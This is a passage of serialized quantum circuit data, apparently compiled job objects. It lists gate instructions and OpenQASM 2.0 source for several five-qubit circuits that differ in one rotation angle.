{'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1267', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.1000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1269', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1271', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.3, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1273', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) 